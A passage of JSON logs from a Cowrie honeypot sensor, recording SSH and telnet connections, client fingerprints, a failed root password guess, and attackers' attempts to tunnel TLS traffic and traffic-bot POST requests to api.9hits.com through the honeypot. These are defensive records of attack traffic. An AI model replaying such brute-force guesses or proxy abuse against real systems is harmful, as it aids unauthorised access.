00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g\\x8eh\\x06t}\\xe6FT\\xfec\\x14c\\x95\\'\\xff\\xaf\\xfb\\x8d\\xbf\\x8c\\xa9\\x0f\\x04\\xfe~\\x97\\x0f\\xd9\\x80\\xb6\\t \\x12q\\xc7F\\r\\xf9M\\xeeK\\x8ct\\xcfG\\xda\\x19\\x16%\\xd1D\\xc1\\xe8\\xfb\\xb4\\x14(\\x11\\x13I\\xae\\xe2\\xce\\xfe\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 z\\xce1\\x92$\\xf0F\"\\xd9\\x0c\\xcfx\\xd8\\x18\\xf4\\xd2\\xdd\\xe9\\xd9\\xd64R\\xc4f\\xa0\\x07Xf\\xaf\\xa0\\x9cZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.636411Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.699098Z","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.759116Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1c/(&\\xe0\\xf8?>b\\xb2-^\\x92\\xfc\\xf8U\\xa3L\\x87\\x08|M\\xe2\\x8ef!\\x81%E\\xe4\\x84x \\xfd\\x8e\\xd9\\'X\\xaag\\xaeB\\xa1\\xc5\\xc3\\xf4\\x1b\\x7f\\x9e\\x153\\xa7\\xfa\\x8b\\xe4H\\x07?\\x7f\\xf43U%\\xcf\\xd5\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 Y\\xec\\xe2\\x89B\\x9eu3r\\xb0@\\xf6\\xa1n\\x8a\\x0e$\\x86D\\\\\\x84d\\x06\\xfb\\xaf\\x03\\xdd#\\xf7I\\xb2\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1c/(&\\xe0\\xf8?>b\\xb2-^\\x92\\xfc\\xf8U\\xa3L\\x87\\x08|M\\xe2\\x8ef!\\x81%E\\xe4\\x84x \\xfd\\x8e\\xd9\\'X\\xaag\\xaeB\\xa1\\xc5\\xc3\\xf4\\x1b\\x7f\\x9e\\x153\\xa7\\xfa\\x8b\\xe4H\\x07?\\x7f\\xf43U%\\xcf\\xd5\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 Y\\xec\\xe2\\x89B\\x9eu3r\\xb0@\\xf6\\xa1n\\x8a\\x0e$\\x86D\\\\\\x84d\\x06\\xfb\\xaf\\x03\\xdd#\\xf7I\\xb2\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.762177Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32244,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ecb28dfc849","protocol":"ssh","message":"New connection: 91.92.40.36:32244 (159.203.135.109:22) [session: 8ecb28dfc849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:35.105747Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57442,"dst_ip":"159.203.135.109","dst_port":23,"session":"66794dec1e08","protocol":"telnet","message":"New connection: 172.81.62.90:57442 (159.203.135.109:23) [session: 66794dec1e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:36.023403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:36.217962Z","src_ip":"91.92.40.36","session":"8ecb28dfc849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:36.221261Z","src_ip":"91.92.40.36","session":"8ecb28dfc849","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:39.369359Z","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:39.404847Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 OPR/66.0.3515.44\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Pmd7Xk4mZ3NxZn10T3hVJg%3D%3DffoV4yDqFZXDBjhyM1Vw1bWVKyC%2BGiAzKu5%2B6kxFTLIQ7rqG4d%2Fa58ih%2FA9oSR8RbCBNfiwHFsSo77APyii1RUKp7Ol7fMwbPTHMWr5BAcRRhIXfRKr%2BFaxEEaLpQRn%2BHNjeeiC%2Be9HdhDvc%2BV1zc%2B756KgSP%2BNXoC4jfCh3WRMOu1vBQZAK%2Fo2uSmRZA%2FM5nj7%2FPQrS7FLuIqKO3pwHoE2jHTucyIiXyllu1q2FmbJWEZz2hyJAEWzzkQcAug%2B%2BY5vwRuHmj2vQWvzp8n8ulRjuxk%2FU9qLtokm9HfZRK0EDytS%2BjJeLD%2FPweQ9kG5%2FfOKtib5XxSkFo5DN2DtxWjEYZEDkQ%2B36RMqo3mgfVpqp20uMAvzaeCBeEke5D1me2UykdpLyPMZdLz0KfLR8f6bFaPCFOfrkje5TwlBul5CmIOBvx1hyPQrh8PDja3AVg9fa5iSwk7V7DLLSjI0%2FKgjXxTanJ2I2xXS4q8lCETcPeLrFfg7yUiLZ0ElK7P0qtK2uhDSafF%2B2ItfpNrE5oDv48fs5Gu%2B80pZTp%2F%2Bf%2FNswhhchb8eKKn72oJX3cMF6EkwENDpD9KUISecguYBsXpnMRnUEMv4IdEhgJtEYDHuBsdFW%2BncJVXzakjX3lYu56Tv2IP811JY3APwuPQS45vM4IDKn4A16Y19Y%2FJCy62W3dwGPsyIZ7KRxBLTGdQES1WjZ1ZlLBdcH6Bf7lPPxm8nSoe2jx6dx6NeEsL1aQGDhZB3oMJzxGatKqORpUzN6SA2%2BlydwdmBXtWinOuF4Q5drBP6%2BTqpAQdcOAj61F2on9BDIZVgfZKpRNLZXBaPiVXq%2FlqaGdUVGbdTMWicEC%2FHFFZTWqxKuoRUveh014yFCp0PoN8mL8f0B7SO3LbJmevSZUwaNh48WNS8sWYewz8sVRbj9B%2FySMhjRr8UNP3lKVyLORErf%2Fg9okYTg%2BoEUUR2hi3t9c2jIcmtZ0BdbClVwPRn5y9T1jzJ5XE3xLu1sFCLnOVW66ntf0qwf3%2BIeY%2Bbrn6%2BD0NxY2ZHfWX8p0QGK81z5K0In%2FlKgGmZEzvsJwPSK%2FUBbliykVPLlGYh7Z'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 OPR/66.0.3515.44\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Pmd7Xk4mZ3NxZn10T3hVJg%3D%3DffoV4yDqFZXDBjhyM1Vw1bWVKyC%2BGiAzKu5%2B6kxFTLIQ7rqG4d%2Fa58ih%2FA9oSR8RbCBNfiwHFsSo77APyii1RUKp7Ol7fMwbPTHMWr5BAcRRhIXfRKr%2BFaxEEaLpQRn%2BHNjeeiC%2Be9HdhDvc%2BV1zc%2B756KgSP%2BNXoC4jfCh3WRMOu1vBQZAK%2Fo2uSmRZA%2FM5nj7%2FPQrS7FLuIqKO3pwHoE2jHTucyIiXyllu1q2FmbJWEZz2hyJAEWzzkQcAug%2B%2BY5vwRuHmj2vQWvzp8n8ulRjuxk%2FU9qLtokm9HfZRK0EDytS%2BjJeLD%2FPweQ9kG5%2FfOKtib5XxSkFo5DN2DtxWjEYZEDkQ%2B36RMqo3mgfVpqp20uMAvzaeCBeEke5D1me2UykdpLyPMZdLz0KfLR8f6bFaPCFOfrkje5TwlBul5CmIOBvx1hyPQrh8PDja3AVg9fa5iSwk7V7DLLSjI0%2FKgjXxTanJ2I2xXS4q8lCETcPeLrFfg7yUiLZ0ElK7P0qtK2uhDSafF%2B2ItfpNrE5oDv48fs5Gu%2B80pZTp%2F%2Bf%2FNswhhchb8eKKn72oJX3cMF6EkwENDpD9KUISecguYBsXpnMRnUEMv4IdEhgJtEYDHuBsdFW%2BncJVXzakjX3lYu56Tv2IP811JY3APwuPQS45vM4IDKn4A16Y19Y%2FJCy62W3dwGPsyIZ7KRxBLTGdQES1WjZ1ZlLBdcH6Bf7lPPxm8nSoe2jx6dx6NeEsL1aQGDhZB3oMJzxGatKqORpUzN6SA2%2BlydwdmBXtWinOuF4Q5drBP6%2BTqpAQdcOAj61F2on9BDIZVgfZKpRNLZXBaPiVXq%2FlqaGdUVGbdTMWicEC%2FHFFZTWqxKuoRUveh014yFCp0PoN8mL8f0B7SO3LbJmevSZUwaNh48WNS8sWYewz8sVRbj9B%2FySMhjRr8UNP3lKVyLORErf%2Fg9okYTg%2BoEUUR2hi3t9c2jIcmtZ0BdbClVwPRn5y9T1jzJ5XE3xLu1sFCLnOVW66ntf0qwf3%2BIeY%2Bbrn6%2BD0NxY2ZHfWX8p0QGK81z5K0In%2FlKgGmZEzvsJwPSK%2FUBbliykVPLlGYh7Z'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:39.408442Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53228,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f51c4700911","protocol":"ssh","message":"New connection: 193.37.70.224:53228 (10.17.0.5:22) [session: 0f51c4700911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:40.826607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:40.831317Z","src_ip":"193.37.70.224","session":"0f51c4700911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:40.925726Z","src_ip":"193.37.70.224","session":"0f51c4700911","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:41.104285Z","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcnz2003","message":"login attempt [root/yfcnz2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:41.208235Z","src_ip":"193.37.70.224","session":"0f51c4700911","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:41.366796Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; NS-P10A7100 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36 EdgA/90.0.818.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YX01MWV9dWhvVVZ1PiNtVw%3D%3D5IQoGXs6%2FoGiEGoJv71hhjMDmUKQRQihhc%2BTiQMyGJihX8K0A2Dfymi0BX8wGZ6HSutFpgbeSOTSvKI2lCgjBxbFxD12ufjUC2bqi%2FRlXNtpslT%2Fq6tjM6dqIJerW2OphNlqcxgnhVLrozUtKxfKxrOrSb8t%2BucGRyxF3IzUJCHSz6PIEU5ntQ9RkaKcq1A3hpS8cCfJE8%2BC%2B0e09nw26KyruF%2FuoIaIBpc2KmuN511SK71MTqSIyGpfe%2BP%2BRZQW3uWjSCE3kO2w0ZWaKVibVBLFjkq3f29bIcVgijkb5fdO%2FmMWYhN0hyNWrpC7FChNvZN%2Bq7T%2Fst4RYNnGdqfPovL2m%2FX8vnondv%2BC1p0Jb9bSa0mW7LQG%2FAcQA5uJ50d%2BpqaWAEcmiS6EP20H7II2%2F7dUZBK6qzCUW%2F2fRYL3V9KE95UDsi1BcUCFjTH5b1IR2gUP9IgejXLgeuckYekAVLt1ULxwJOvsa2gRzvkKkJuWyJeOIgOXG%2BxzwZ0dJ%2BoUqBYCYvQTUGU%2BSzRKSAlE7hD7s03noLakMl8MpVI5UEK9H5ED%2B7QSBLIHHnMR8jIT1Ur1WlIgui7IYk2CUNb%2BG1Wp1VtfjUwMfTb%2FQyds7t9O66lM8vfRuXPzDahQBmLmrvY%2FqEEQLfGQ7GcPZmMccmg%2BBdSjdTRhz1y8XOaJXvlX%2FtvuJ%2F22dYWML8Ajo7aFRAdtFn99fK32wDsyjc0Lp7pvz%2FHPVGpTrzJGGmsSkB7RCOv3N4JNo%2BjdIvCLFov3GCwkkPQp4vBF42dL%2BynUybFreqIbZJOKcY8j6